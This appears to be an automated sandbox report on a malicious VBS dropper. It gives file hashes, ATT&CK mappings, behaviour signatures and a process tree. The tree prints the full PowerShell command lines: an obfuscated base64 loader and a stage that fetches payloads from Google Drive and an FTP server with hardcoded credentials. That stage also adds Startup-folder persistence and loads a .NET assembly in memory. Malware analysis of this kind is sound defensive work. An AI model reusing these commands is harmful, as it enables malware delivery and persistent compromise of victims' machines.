596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23

General

Target

596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23.vbs
Size

681KB
MD5

9bd642cb865da2fbc2268da38596d491
SHA1

1b3752ed0e4910bc214b1229beb9bafccd426e21
SHA256

596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23
SHA512

d0eb2d2ef74e79f142073b1d65a754ec986df42c462e7a2349e82f46c37275ed73570a709561e4f10c951379961f88e191adfab0872a91c3510eb57ae200a383
SSDEEP

1536:9SSSSSSSSSSSSSSSSSSSSSSSx22222222222222222222222222222222222222p:e0iA2Seis

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=

Signatures

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23.vbs	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1220	powershell.exe
2788	powershell.exe
2224	powershell.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\wusa.lock	wusa.exe
File opened for modification	C:\Windows\Logs\DPX\setupact.log	wusa.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	wusa.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2788	powershell.exe
1220	powershell.exe
2568	powershell.exe
2224	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2788	powershell.exe
Token: SeDebugPrivilege	1220	powershell.exe
Token: SeDebugPrivilege	2568	powershell.exe
Token: SeDebugPrivilege	2224	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2700 wrote to memory of 2788	2700	WScript.exe	31
PID 2700 wrote to memory of 2788	2700	WScript.exe	31
PID 2700 wrote to memory of 2788	2700	WScript.exe	31
PID 2788 wrote to memory of 1220	2788	powershell.exe	33
PID 2788 wrote to memory of 1220	2788	powershell.exe	33
PID 2788 wrote to memory of 1220	2788	powershell.exe	33
PID 1220 wrote to memory of 2568	1220	powershell.exe	34
PID 1220 wrote to memory of 2568	1220	powershell.exe	34
PID 1220 wrote to memory of 2568	1220	powershell.exe	34
PID 2568 wrote to memory of 592	2568	powershell.exe	35
PID 2568 wrote to memory of 592	2568	powershell.exe	35
PID 2568 wrote to memory of 592	2568	powershell.exe	35
PID 1220 wrote to memory of 2224	1220	powershell.exe	36
PID 1220 wrote to memory of 2224	1220	powershell.exe	36
PID 1220 wrote to memory of 2224	1220	powershell.exe	36

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 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EkЌз革LQB5Ќз革HЌз革Ќз革bwBDЌз革CЌз革Ќз革OwЌз革gЌз革HQЌз革cgBhЌз革HQЌз革cwBlЌз革HIЌз革bwBuЌз革C8Ќз革IЌз革B0Ќз革GUЌз革aQB1Ќз革HEЌз革LwЌз革gЌз革FEЌз革QQBqЌз革HoЌз革SQЌз革gЌз革GUЌз革eЌз革BlЌз革C4Ќз革YQBzЌз革HUЌз革dwЌз革gЌз革GUЌз革eЌз革BlЌз革C4Ќз革bЌз革BsЌз革GUЌз革aЌз革BzЌз革HIЌз革ZQB3Ќз革G8Ќз革cЌз革Ќз革gЌз革DsЌз革KQЌз革nЌз革HUЌз革cwBtЌз革C4Ќз革bgBpЌз革HcЌз革cЌз革BVЌз革FwЌз革JwЌз革gЌз革CsЌз革IЌз革BkЌз革EkЌз革UgBpЌз革E0Ќз革JЌз革Ќз革oЌз革CЌз革Ќз革PQЌз革gЌз革FEЌз革QQBqЌз革HoЌз革SQЌз革7Ќз革CkЌз革IЌз革BlЌз革G0Ќз革YQBOЌз革HIЌз革ZQBzЌз革FUЌз革OgЌз革6Ќз革F0Ќз革dЌз革BuЌз革GUЌз革bQBuЌз革G8Ќз革cgBpЌз革HYЌз革bgBFЌз革FsЌз革IЌз革Ќз革rЌз革CЌз革Ќз革JwBcЌз革HMЌз革cgBlЌз革HMЌз革VQBcЌз革DoЌз革QwЌз革nЌз革CgЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革RgBHЌз革HIЌз革VQBBЌз革CQЌз革OwЌз革pЌз革CcЌз革dQBzЌз革G0Ќз革LgBuЌз革GkЌз革dwBwЌз革FUЌз革XЌз革Ќз革nЌз革CЌз革Ќз革KwЌз革gЌз革GQЌз革SQBSЌз革GkЌз革TQЌз革kЌз革CЌз革Ќз革LЌз革BCЌз革EsЌз革TЌз革BSЌз革FUЌз革JЌз革Ќз革oЌз革GUЌз革bЌз革BpЌз革EYЌз革ZЌз革BhЌз革G8Ќз革bЌз革BuЌз革HcЌз革bwBEЌз革C4Ќз革eЌз革BoЌз革EoЌз革SЌз革B5Ќз革CQЌз革OwЌз革4Ќз革EYЌз革VЌз革BVЌз革DoЌз革OgBdЌз革GcЌз革bgBpЌз革GQЌз革bwBjЌз革G4Ќз革RQЌз革uЌз革HQЌз革eЌз革BlЌз革FQЌз革LgBtЌз革GUЌз革dЌз革BzЌз革HkЌз革UwBbЌз革CЌз革Ќз革PQЌз革gЌз革GcЌз革bgBpЌз革GQЌз革bwBjЌз革G4Ќз革RQЌз革uЌз革HgЌз革aЌз革BKЌз革EgЌз革eQЌз革kЌз革DsЌз革KQB0Ќз革G4Ќз革ZQBpЌз革GwЌз革QwBiЌз革GUЌз革VwЌз革uЌз革HQЌз革ZQBOЌз革CЌз革Ќз革dЌз革BjЌз革GUЌз革agBiЌз革E8Ќз革LQB3Ќз革GUЌз革TgЌз革oЌз革CЌз革Ќз革PQЌз革gЌз革HgЌз革aЌз革BKЌз革EgЌз革eQЌз革kЌз革DsЌз革fQЌз革7Ќз革CЌз革Ќз革KQЌз革nЌз革HQЌз革TwBMЌз革GMЌз革XwBLЌз革GEЌз革MwBaЌз革GYЌз革bwBYЌз革DIЌз革SgBKЌз革HIЌз革VgBoЌз革G0Ќз革VgЌз革5Ќз革GMЌз革bQЌз革5Ќз革FgЌз革cwB1Ќз革FgЌз革bQBqЌз革DEЌз革ZwЌз革xЌз革CcЌз革IЌз革Ќз革rЌз革CЌз革Ќз革RgBhЌз革EUЌз革WQBSЌз革CQЌз革KЌз革Ќз革gЌз革D0Ќз革IЌз革BGЌз革GEЌз革RQBZЌз革FIЌз革JЌз革B7Ќз革CЌз革Ќз革ZQBzЌз革GwЌз革ZQB9Ќз革DsЌз革IЌз革Ќз革pЌз革CcЌз革MgЌз革0Ќз革HUЌз革WЌз革BKЌз革FQЌз革cQBhЌз革G0Ќз革ZwB5Ќз革E0Ќз革dЌз革BGЌз革HoЌз革YQBrЌз革FЌз革Ќз革UgЌз革xЌз革HEЌз革XwBJЌз革HYЌз革RwBpЌз革FgЌз革TgBkЌз革HEЌз革YQBOЌз革DEЌз革JwЌз革gЌз革CsЌз革IЌз革BGЌз革GEЌз革RQBZЌз革FIЌз革JAAoACAAPQAgAEYAYQBFAFkAUgAkAHsAIAApACAAVwBpAGkAQgBzACQAIAAoACAAZgBpADsAIAApACcANAA2ACcAKABzAG4AaQBhAHQAbgBvAEMALgBFAFIAVQBUAEMARQBUAEkASABDAFIAQQBfAFIATwBTAFMARQBDAE8AUgBQADoAdgBuAGUAJAAgAD0AIABXAGkAaQBCAHMAJAA7ACcAPQBkAGkAJgBkAGEAbwBsAG4AdwBvAGQAPQB0AHIAbwBwAHgAZQA/AGMAdQAvAG0AbwBjAC4AZQBsAGcAbwBvAGcALgBlAHYAaQByAGQALwAvADoAcwBwAHQAdABoACcAIAA9ACAARgBhAEUAWQBSACQAOwApACAAJwB1AHMAbQAuAG4AaQB3AHAAVQBcACcAIAArACAAZABJAFIAaQBNACQAIAAoACAAbABlAGQAOwApACgAaAB0AGEAUABwAG0AZQBUAHQAZQBHADoAOgBdAGgAdABhAFAALgBPAEkALgBtAGUAdABzAHkAUwBbACAAPQAgAGQASQBSAGkATQAkAHsAIAApACAARgBkAE0AUQBUACQAIAAoACAAZgBpADsAIAApADIAKABzAGwAYQB1AHEARQAuAHIAbwBqAGEATQAuAG4AbwBpAHMAcgBlAFYALgB0AHMAbwBoACQAIAA9ACAARgBkAE0AUQBUACQAIAA7AA==';$nQCfu = $qKKzc.replace('Ќз革' , 'A') ;$IedxR = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $nQCfu ) ); $IedxR = $IedxR[-1..-$IedxR.Length] -join '';$IedxR = $IedxR.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23.vbs');powershell $IedxR
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $TQMdF = $host.Version.Major.Equals(2) ;if ( $TQMdF ) {$MiRId = [System.IO.Path]::GetTempPath();del ( $MiRId + '\Upwin.msu' );$RYEaF = 'https://drive.google.com/uc?export=download&id=';$sBiiW = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $sBiiW ) {$RYEaF = ($RYEaF + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$RYEaF = ($RYEaF + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yHJhx = (New-Object Net.WebClient);$yHJhx.Encoding = [System.Text.Encoding]::UTF8;$yHJhx.DownloadFile($URLKB, $MiRId + '\Upwin.msu');$AUrGF = ('C:\Users\' + [Environment]::UserName );IzjAQ = ($MiRId + '\Upwin.msu'); powershell.exe wusa.exe IzjAQ /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23.vbs' -Destination ( $AUrGF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$lcwr = (New-Object Net.WebClient);$lcwr.Encoding = [System.Text.Encoding]::UTF8;$lcwr.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $lcwr.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$lcwr.dispose();$lcwr = (New-Object Net.WebClient);$lcwr.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $lcwr.DownloadString( $lBCzSg );$hzwje = 'C:\Users\Admin\AppData\Local\Temp\596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.ni/moc.noitaercneerhem//:sptth' , $hzwje , 'true1' ) );};"
    3⤵
    - Drops startup file
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1220
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe IzjAQ /quiet /norestart
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2568
    - - C:\Windows\system32\wusa.exe
        
        "C:\Windows\system32\wusa.exe" IzjAQ /quiet /norestart
        5⤵
        Drops file in Windows directory
        
        PID:592
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2224

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
bb5055a0f0520c5e3b6fbdae67780c32

SHA1
649394614cd41d5f9173b70a3374c7f9eb8d9738

SHA256
a52ea7cb8cb985c1c5a1a66cc3537603ea7dbd57671632a161f7ee39d134d489

SHA512
4a5bdf2b777dfb259a48d994877e092abf62fd0b3fb1da0905ea7ae4904c118df5a7617015dbda0990cc89ebecd760f7568d857bdb3133f203f9fe46a75841df

Download Submit
memory/2788-4-0x000007FEF577E000-0x000007FEF577F000-memory.dmp

Filesize
4KB

Download
memory/2788-5-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2788-7-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2788-6-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/2788-8-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2788-10-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2788-9-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2788-11-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2788-29-0x000007FEF577E000-0x000007FEF577F000-memory.dmp

Filesize
4KB

Download
memory/2788-30-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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